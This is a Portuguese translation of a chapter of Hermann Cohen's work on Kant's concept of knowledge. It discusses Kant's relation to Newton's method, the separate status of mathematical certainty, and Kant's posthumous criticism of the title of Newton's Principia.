O Conceito de Conhecimento na perspectiva Kantiana – Hermann Cohen

O Conceito de
Conhecimento na perspectiva Kantiana1

Hermann Cohen


Tradução de Thiago Abrahão Soares

A questão
referente ao sentido pelo qual a metafísica poderia imitar o “método de Newton”
encontra já o seu mais elevado grau de resposta e esclarecimento: A história da
razão científica suprime a desconfiança de que a filosofia deveria imitar uma
ciência. No entanto, quando dissemos que Kant, de fato, partiu da ciência
newtoniana, indicamos por aí a característica decisiva de sua filosofia, no
fato de que Kant pensou a razão como razão cientifica, em virtude de sua
história contínua. É deste modo que o conceito de conhecimento é determinado
para ele. Em descartes, e também em Leibniz, percebemos de modo profundo a
distinção entre certeza matemática e a certeza moral. Contudo, eles não
conseguiram levar a termo esta distinção, nem mesmo sustentá-la.  É necessário,
no que concerne a Descartes, ressaltar a maneira como ele coloca, ao lado das
ciências aritméticas e geométricas, as outras ciências da natureza; quanto “a
saber” de quais ciências da natureza se trata? Ele não o diz. Contudo, ele faz
coincidir, através de seu princípio, o conhecimento matemático com o
conhecimento da existência própria (vida moral) – onde não há,
infelizmente, nenhuma ciência. De modo análogo, Leibniz atenua a diferença
entre a matemática e os fundamentos gerais próprios da lógica, e dá um fim à
controvérsia sobre o significado que possui os princípios de identidade e de
contradição para a certeza matemática; controvérsia verbosa que durou muito
tempo e que, nos dias de hoje, não está ainda completamente resolvida.

 Conduzindo
de forma contrária a questão filosófica sobre a ciência matemática da natureza,
Kant traz, em primeiro lugar, a seguinte precisão: esta questão não recaí
somente sobre o conhecimento em geral – termo em que cada um pode bem entender
o que quiser – mais sobre este conhecimento mesmo que é a ciência matemática da
natureza. Esta precisão não somente permiti eliminar a possibilidade de
estender a questão filosófica a outras esferas e domínios do conhecimento, mas
é ela, inicialmente, que apresenta a possibilidade de transpor a precisão da
questão para outros domínios. Através desta comparação de espécies de
conhecimento e através desta evolução de suas esferas de certeza, o
conhecimento filosófico obtém seu método e seu sistema.

 Foi
Platão quem primeiro, após o impulso socrático, deu à filosofia uma
configuração sistemática ao distinguir e reunir a física, a lógica e a ética. 
A física tal como era na época de Platão poderia ser considerada como uma parte
da filosofia. Em Newton, a física permanece consciente de seu fundamento especulativo;
a matemática e a observação experimental são tão poderosamente desenvolvidas,
que mesmo elas não alcançariam a divisão de um sistema que lhes sejam próprias,
sem a ajuda da especulação. A lógica e a ética se encontram isoladas e
corajosamente descartadas, já que não podemos entender a participação precisa e
efetiva da lógica na construção da física. Foi Kant quem fez novamente da
filosofia um sistema no sentido platônico de determinação dos valores do
conhecimento, ao determinar a lógica em sua relação com a física, começando,
contudo, por separar a ética destas duas disciplinas, afim de colocá-la em
seguida, após ter resolvido a primeira questão, em sintonia com elas. Contudo,
Kant não fez da filosofia um sistema, à maneira de Leibniz ou de Espinosa,
traçando uma imagem de mundo por amor a esta imagem.

  Foi assim
que Kant retomou de um modo explícito uma distinção introduzida por
Aristóteles; a distinção entre o conhecimento teórico e o conhecimento prático.
Tudo isto, porém, combatendo e refutando o sentido aristotélico desta
distinção. Com efeito, Kant reprova a opinião segunda a qual o que é verdadeiro
em teoria poderia, contudo, ser inválido para a prática. Kant parte para além
da concepção fundamental (aristotélica), e afirma que o matemático deve
sacrificar toda sua ciência – “a excelência da razão humana” -, para alcançar
alguma certeza nas questões éticas. Portanto, desde o início, Kant sustenta a
idéia do “primado da razão prática”, em que ele eleva a urgência de nossas
convicções morais acima daquelas convicções lógico-físicas. Kant não separa
menos as primeiras convicções das segundas, porém é esta separação, a sua
necessidade e seu direito que está unida à idéia fundamental do método, que só
pode ser conquistada em filosofia, para Kant, tomando Newton como modelo.

Contudo, a
questão relacionada ao “fato” da ciência não é tão simples. Ao menos não o era,
na época, assim, tão simples.  A física, no sentido que a distingue da lógica e
da ética, não é simplesmente e exclusivamente a ciência matemática da natureza,
mas ela compreende, ainda hoje, alguma coisa de diferente, ligada a um método
preciso, sem, contudo, ser absolutamente determinada por ele. É característico
que aqueles que se opõem ao racionalismo, trabalham e especulam sobre um outro domínio
– fora das questões históricas e econômicas – que pertenceria a extensão do
conceito de natureza.  Locke é médico e realiza estudos em biologia; Berkeley
trabalha sobre os problemas químicos, e Hume, de menos a título de economista,
trabalha com questões colocadas pela criação orgânica. Kant seria apenas
considerado como geógrafo. É, particularmente, por ocasião do problema das
raças, levantado pela zoologia e antropologia, que ele toma uma posição em
relação a estas disciplinas.

Vemos que
era necessário dar um nome mais extenso e mais inteligível que aquele de
ciência matemática da natureza a esta ciência à qual, conforme a física antiga,
a lógica poderia ser relacionada. Tratar-se-ia de entender e de determinar em
sua certeza, mais do que espécies de conhecimentos próprios da ciência
matemática da natureza, outras espécies de conhecimento – a saber, as espécies
de conhecimento próprias ao exame descritivo da natureza.  Com efeito, mesmo
que o procedimento e os meios de pesquisa deste tipo de conhecimento sejam
distintos daqueles próprios ao conhecimento da ciência matemática da natureza,
eles estão, entretanto, ligados e se reúnem todos no mesmo objeto da natureza. 
Galileu efetua seu experimento fundador sobre seres orgânicos agrupando-os;
Newton, na ótica, reduz a construção de um corpo natural. Na verdade, isto é
apenas um meio de unir a teoria da natureza à história natural – que alcança o
objeto completo da natureza. Contanto que não estabeleçamos esta ligação pode
parecer que estamos ainda em sua preparação, visto que a ciência matemática da
natureza realiza com suas leis do movimento grandes abstrações que somente encontram
uma aplicação na matéria e nas formas dos corpos naturais se referindo a estas.
No entanto, se a questão filosófica deve ser relacionada tanto aos objetos
quanto às forças da natureza, é necessário que o conceito de ciência da
natureza receba uma extensão maior; seu conteúdo, porém, tornará se, para
tanto, mais pobre?

Podemos
compreender que Kant, após ter superado o problema da relação complexa com a
ética, não podia, no entanto, desde o início, no que concerne à física tomar um
simples conceito antigo para construir um conceito rigoroso. O que se oferece a
ele não é um conceito rigoroso, mas um termo ordinário que os antigos tinham
dado uma marca filosófica original, e que os modernos, sobretudo os
contemporâneos, tinham promovido um slogan explicativo: a experiência,
eis aqui uma palavra que promete muito e que qualifica tanto
o quanto o objeto e que, nos dois sentidos, se aplica principalmente à história
natural – tudo isto era conduzido por Newton e seus adeptos da mecânica. Kant
considera o problema filosófico sob este termo, e toma frente de todos os
aspectos teóricos da questão filosófica sobre a legitimação da experiência.

         
Isto fora, contudo, a causa de uma obscuridade na disposição2. Controvérsias
falsas, que recaíram sobre diferentes pontos de vista da filosofia Kantiana,
encontraram alimento neste prejuízo. Pareceria, então, que Kant utilizou a
palavra experiência no sentido que lhe deram Locke e Hume, e não eminentemente
no sentido que lhe conferiu Newton. Se quisermos evitar esta ambigüidade e
eliminá-la, a fim de instruir o problema de um modo fecundo, não será
necessário pensar quando utilizamos o termo experiência, na experiência
ordinária, experimenta mater studiorum, nem mesmo na história natural –
cuja distinção em relação à ciência da natureza, é necessária: mas a
experiência deve ser tomada como uma expressão geral, que engloba todos os
fatos e todos os métodos próprios do conhecimento científico, e cuja questão
filosófica, excluindo a ética, deve se ocupar.

É através
deste sentido “englobante”, por assim dizer enciclopédico, que Kant considera a
palavra “experiência”, ele busca definir o conceito de experiência em um
conceito do conhecimento da natureza. Conhecimento da natureza e conhecimento
moral, eis aqui as duas espécies de conhecimento cuja distinção forma o início
do trabalho de Kant (é neste começo que as disputas na filosofia moderna
encontram sua fonte vitoriosa). No entanto, Kant qualifica o conhecimento da
natureza conforme o espírito de seu tempo, isto é, qualifica-o de “experiência”
na esperança de que pela determinação do conceito de experiência pudesse levar
a termo seu tempo iniciando, assim, uma nova era.   

Contudo, para
finalizar tal determinação do conceito de “experiência” era antes necessário
resolver a questão da “experiência” nas ciências particulares, determinando
assim seu valor em relação a cada uma destas ciências e, ao mesmo tempo,
estimulando sua espécie de certeza. 

 

Se não
fixarmos a experiência em cada uma das ciências determinadas, o uso deste termo
permaneceria tão obscuro e forneceria tão pouca orientação quanto aquele
conceito de razão, ao qual nós fazemos apelo como outro slogan.
Descartes, quando usa o termo “razão” pensa ora na matemática, ora na
consciência de si e por fim na idéia de Deus. Em Leibniz, também, a razão
é ora a instância da matemática e da física teórica, assim como a fonte da
lógica que permiti legitimar as duas ciências anteriores, mas há certos
momentos, que o termo razão designa, ao contrário, uma oposição
inconciliável entre razão e sensibilidade “confusa” – no
instante, em que ela (a razão) é de preferência vinculada ao “reino das
graças”.   

Assim como
fora o caso para este slogan que constitui a palavra “razão”,
necessitaremos começar por fixar o slogan formado pela palavra “experiência”
nas ciências, visto não ser possível e nem prudente evitar completamente estas
duas qualificações correntes. Buscando fixar a experiência nas ciências, Kant
não se contenta, simplesmente, em distinguir as ciências da natureza naquelas
que são teóricas e naquelas que são descritivas. Mas, ele foi além com a
explicação dos fundamentos metodológicos, fazendo da matemática por si mesma,
um problema de pesquisa filosófica. Este isolamento da matemática possui um
aspecto problemático, e tanto seu fundamento quanto a sua justificação requer
um exame detalhado. 

Por todos
os lados, pode aparecer que Kant colocou sua questão em relação à matemática
nela mesma e por ela mesma. Antes de tudo, esta ligação interna da matemática
com os elementos filosóficos dos princípios mecânicos – elementos qualificados
de especulativos – não era transparente, a tal ponto que poderíamos ter tomado
de um modo suficientemente cômodo a relação natural, isto é, o ajustamento
recíproco da matemática e da ciência teórica da natureza, com o intuito de
oferecer, assim, uma formulação acabada do problema. Se Hume pôde, entretanto,
crer que a física repousava principalmente sobre a experiência, isto
significava para ele que ela repousava sobre a percepção habitual das sucessões
e sobre a interpretação que lhe oferece o princípio da causalidade. Em Leibniz,
a interpretação da matemática e de seus pressupostos filosóficos é tão pouco
reconhecida que este filósofo coloca este princípio lógico, que é o princípio de
razão, como princípio que permiti ultrapassar a física, ao passo que
para ele é este princípio de identidade que responde a matemática. Assim,
matemática e ciência teórica da natureza são ainda consideradas, mesmo em
Leibniz, separadas uma da outra.

É
necessário, ainda, acrescentar o que foi que ocorreu que somente a matemática
foi, particularmente, no século XVIII, o objeto das oposições mais pesadas e
rigorosas. Berkeley examina os conceitos fundamentais da matemática e aponta
contradições, particularmente, no conceito fundamental e criador próprio da
matemática nova – o conceito de infinitamente pequeno – e concluí que a certeza
matemática, tão vangloriada, não se distingui absolutamente das suposições das
crenças.  Se a maior parte dos autores não tirara esta conclusão é porque lhes
faltaram coragem e clareza que era, na verdade, o que faltava mesmo a muitos
filósofos de ofício e que não fazia nenhuma falta no absurdo crítico de
Berkeley.

Mas, no
fundo, todos estavam ainda na obscuridade naquilo que se refere à
característica verdadeira da certeza matemática. A evidência era tão pouca
reconhecida – no entanto, menos reconhecida por Leibniz do que por Descartes. 
E quanto ao modo como pensava o campo dos wolfinianos?  Ele se manifestou na
disputa entre Kant e Mendelssohn, relativamente na questão colocada pelo
concurso da academia de Berlim em 1763. Mendelssohn recebeu o prêmio, graças a
um trabalho que sustenta a concepção segunda a qual a evidência matemática se
distinguiria da evidência filosófica apenas de um ponto de vista lógico, isto é
pela compreensibilidade. No momento em que o conhecimento matemático é
distinguido dos demais conhecimentos, já se podia observar o traço da concepção
sistemática no trabalho de Kant.

            Além disto, é necessário
observar que Hume moderou nos Ensaios seu cepticismo avesso à matemática,
e sem nenhuma reserva o fez também no Tratado. Que isto possa, talvez,
ter tido numerosos efeitos nos escritos e nas declarações que puderam, em
seguida, influenciar Kant; eis aí o que nós podemos dificilmente perceber. De
tal forma, Kant pôde ser levado a examinar separadamente o fundamento da
certeza matemática, mesmo que ele tenha pensado ulteriormente, de um modo
errôneo, que Hume foi protegido, graças a seu entendimento sadio, de tal
conseqüência. 

            No fim das contas, era
importante se opor ao prejuízo segundo o qual seria mesmo possível que a prova
filosófica da evidência matemática não pudesse tomar ou dar alguma coisa. É
este prejuízo que igualmente sustentou o ceticismo. Tratar-se-ia de descobrir
no domínio do mundo do conhecimento matemático a fonte da qual é deduzida a
espécie de certeza que lhe é própria – a questão é a de saber se esta espécie
de certeza é a mais alta possível e a mais ardentemente desejada? ou se ela,
então, deveria ser deixada de lado.  Seria necessário conhecer como a
matemática é constituída – mas, não necessitaríamos de medi-la por meio de um
ideal indeterminado de conhecimento e de certeza. Para estabelecer esta
característica da matemática seria, portanto, necessário considerá-la
independentemente da ciência da natureza.

            O fundamento decisivo se
encontra na coisa mesma e na resposta que se lhe dá. A matemática poderia não
estar vinculada com a ciência teórica da natureza, a título de questão
filosófica, porque a ciência teórica da natureza contém em si uma relação
complicada entre a razão e a experiência. É necessário, contudo, que
primeiramente a razão e a experiência sejam fixadas como conhecimento
científico, que sejam elas objetos do conhecimento científico. Para tal
propósito seria necessário começar por uma análise mais aprofundada dos meios
do conhecimento, porque a relação do pensamento com a sensação
não tinha sido colocada de uma maneira justa. É por isso que a relação entre
razão e experiência permaneceu indeterminada. A bem dizer, o verdadeiro objeto
desta querela acerca da sensibilidade é e era, desde sempre, a matemática –
mesmo que tenhamos pretendido reconhecer nela o concurso da atividade do
entendimento. Entretanto, a matemática e particularmente a geometria foram
reenviadas à intuição e à imaginação. Também devemos esperar pouco que no exame
separado desta espécie de conhecimento matemático, este elemento litigioso que
é a sensação, possa ser determinado, já que há na interpenetração da matemática
com a teoria da natureza uma relação complexa com a razão, onde não podemos
dificilmente isolar a sensibilidade. 

            Assim, é explicável e
compreensível que Kant, no que se refere à matemática, permanece no mesmo ponto
de partida que predominava nos escritos de habilitação de 1770 – mesmo que a
diferença com a Crítica pese de um modo suficientemente forte no que se
refere à ciência da natureza.  Uma vez que Kant distinguiu o modus
sensibilis
do modo intelligibilis, pode se, para instruir o problema
crítico de um ponto de vista teórico, esperar que haja apenas um único domínio
cientifico, aquele da ciência matemática da natureza com seus anexos – à titulo
de domínio da experiência. No entanto, este único domínio científico pode se
dividir em diferentes campos e, por conseguinte, exigir preferência a um ou
outro modo de conhecimento. Le mundus deve teoricamente permanecer o
mesmo, mas podendo ser considerado ora do ponto de vista da sensibilidade, ora
sob aquele do pensamento. Assim, Kant retomou o exame particular do mundus
sensibilis
na Crítica, onde este mundus sensibilis não poderia ser
separado do mundus intelligibilis, mas deveria ser identificado com ele,
visto que há, precisamente, apenas uma natureza, uma ciência e uma experiência:
A ciência matemática da natureza de Newton. Esta ciência é, contudo, construída
sobre a matemática, sobre a experiência e sobre a especulação, de tal sorte que
ela reuni em si mesma a sensação e a razão. Eis aí porque Kant começou por
examinar a matemática de um ponto de vista autônomo, com o intuito de
estabelecer, caso se encontre nesta ciência uma relação entre razão e sensação,
qual é o fundamento de eficácia do valor do conhecimento que lhe é próprio. 

            Se nós temos sob nossos
olhos o esboço da disposição do domínio do conhecimento, devemos antes que
comece o exame deste domínio, dar a conhecer o procedimento metodológico de
Kant, visto que ele qualificou nos anos 60 o problema do método unitário,
análogo aquele que Newton descobriu para a ciência da natureza, de problema
principal da filosofia. Foi, com efeito, o método quem dirigiu, em todas as
questões, os exames de Kant, foi ele quem distinguiu verdadeiramente – apesar
de todas as afinidades das tendências e toda comunidade de problemas e de
conceitos – a filosofia de Kant daquela de seus predecessores. A originalidade
e a missão de Kant se encontram principalmente neste método. Este método é o
método transcendental.       

            Esta ligação da
matemática e da metafísica na constituição da ciência da natureza; e mesmo a
extensão desta última na experiência sob o pressuposto que esta experiência
contenha a descrição da natureza, todas estas disposições (perspectivas)
na formulação do conceito de conhecimento da natureza são expostas pelo texto
publicado e retirado dos manuscritos póstumos, que queremos citar, aqui, a título
de “passagem”, e que Kant conscientemente escolheu. Nós estamos certos quanto
ao propósito – conforme a natureza geral deste escrito – das declarações que
determinaram de uma maneira diferente este termo. Nós queremos, aqui, se para
tanto pudéssemos nos dirigir a este manuscrito sem expor de um modo preciso sua
história, citar algumas declarações que encontramos, sob o título “O que é a
ciência da natureza em geral”? Nós encontramos, (após o autor ter mencionado –
o que se explica pelos desenvolvimentos ulteriores – e caracterizado,
brevemente, a expressão “philosophia naturalis”), as seguintes
proposições:

A
metafísica e a matemática são fontes auxiliares da ciência da natureza (subsidia),
na medida em que elas são os princípios a priori que preparam esta
ciência; mas, esta daqui (a ciência da natureza) deve, entretanto, ser uma
ciência filosófica (philosophiae naturalis), afim de poder inspirar
respeito através desta preparação que lhe trazem a matemática e a disciplina
que caminha em seus passos (a metafísica), sob o nome de Philosophiae
Naturalis principia mathematica
2.

Neste
texto a metafísica é aparentemente qualificada de “disciplina que caminha nos
passos” da matemática, mas é necessário entender esta qualificação de maneira
irônica.

Não teria
uma contradição interna na expressão “princípios matemáticos da ciência da
natureza”, contradição que não é apagada pelo fato de que os princípios
filosóficos e aqueles matemáticos são princípios a priori 3 ?

Estas
páginas de Kant repetem em inúmeras vezes esta crítica ao título da maior obra
de Newton e exprimem os diferentes degraus da reprovação:

Assim como
ele não pode ter princípios filosóficos da matemática, não pode também ter
princípios matemáticos da filosofia (por conta da qual colocamos, contudo, a
física). Contudo, Newton intitulou, assim, sua obra imortal. Entretanto, o
título deveria ser o seguinte: Scientiae naturalis principia mathematica –
e não philosophiae, etc: uma contradição que resulta da pretensão 4 .

Ora
encontramos, aqui, um rival que não é nada menos que Newton em sua obra
imortal: Philosophiae Naturalis principia mathematica. Há, contudo, no
título desta obra, uma contradição nos termos. Estes princípios podem, contudo,
ser ordenados, não somente uns pelos outros, mas uns ao lado dos outros. O que
significa que apenas podemos fazer um uso filosófico da matemática
indiretamente, ou seja, a título de instrumento, sem ultrapassar seu campo5.

Mesmo que
ele não pudesse, com efeito, ter nesta parte que é a ciência da natureza, os princípios
matemáticos da filosofia, ele pôde, no entanto, fazer um uso filosófico da
matemática tomando-a como simples instrumento da física, a título de filosofia,
de tal sorte que a matemática seria um princípio indireto das ciências da
natureza de um ponto de vista, que certamente não é objetivo, mas subjetivo,
podendo, contudo, pretender uma certeza que não é empírica, mas apoditíca,
análoga à certeza da matemática. Nós podemos tratar do movimento de uma maneira
completamente matemática; pois são os conceitos de espaço e tempo que podem ser
apresentados a priori na intuição pura e constituídos pelo entendimento.
Contudo, no que se refere às forças motrizes, a título de causa eficiente
destes movimentos, da mesma forma que a física necessita destas forças e de
suas leis, estas forças necessitam de um princípio filosófico6.

  Isto não fora concluído por Newton,
mas fora levado a termo por ele a título de filósofo que trouxera a tona novas
forças7.

Ora, Newton
se erguera procedendo como um filósofo8.

A ciência
da natureza, que deve se originar nos princípios a priori, sem os quais
ela não seria uma ciência, tem, portanto, dois apoios ou bem dispõe de duas asas:
a filosofia e a matemática. Contudo, elas não são pensadas como agregadas umas
às outras, como duas ciências diferentes, mas são pensadas como complemento uma
da outra, como estando ligadas umas as outras por meio de um sistema (do qual
se retiram todas as duas) 9.

O princípio
científico da ciência da natureza se apresenta como teoria das forças motrizes
da matéria, para tanto é manifestamente a priori, é racional, portanto,
ou bem matemático ou bem filosófico. Surge a presente questão de saber se um
destes sistemas pode ser pensado como sendo dependente de outro sistema que
seria seu princípio? E se nós podemos os dividir em dois domínios, cujo
primeiro levaria o título de Scientiae Naturalis principia mathematica,
ao qual corresponderia, portanto, a parte oposta, intitulada Scientiae
naturalis principia philosophica
: O primeiro domínio seria um contra-senso
(non-sens) – mesmo tendo sido nomeado por Newton em sua obra imortal 10.  

Assim, nós
ganhamos a partir destas observações de Kant, que não foram subitamente
esboçadas, uma visão clara sobre o sentimento que ele tinha de sua autonomia em
relação a Newton, que fora, a título de gênio científico, e não de filósofo, o
rival de Leibniz. Esta autonomia se encontra em seu método, de acordo com ele,
Kant pôde esperar a disposição do domínio do conhecimento em seu conjunto.

 

 

 

 

 

Notas

_________________

1 Traduzido do francês, por Thiago Abrahão Soares. Ver: Cohen, Hermann. La théorie Kantienne de l’expérience, Les editions du Cerf, Paris, 2001.

2No original: “Ceci fut toutefois la
cause d’une obscurité dans la disposition”.  A disposição de que fala o autor é
aquela perspectiva crítica inaugurada por Kant na formulação do conceito de
conhecimento. 

3. Ibid., p.478 (AK.XII,
489)

4. Ibid., p.589 (AK.XII,
512)

5. Ibid., p.591 (AK.XII,
515)

6. Ibid., p.594 (AK.XII,
517)

7. Ibid.,
p.596 (AK.XII, 522)

8. Ibid., p.613
(AK.XII, 430)

9. Ibid.,
p.478 (AK.XII, 489)

10.Ibid., p.458(AK.XII,
 479)

 

 

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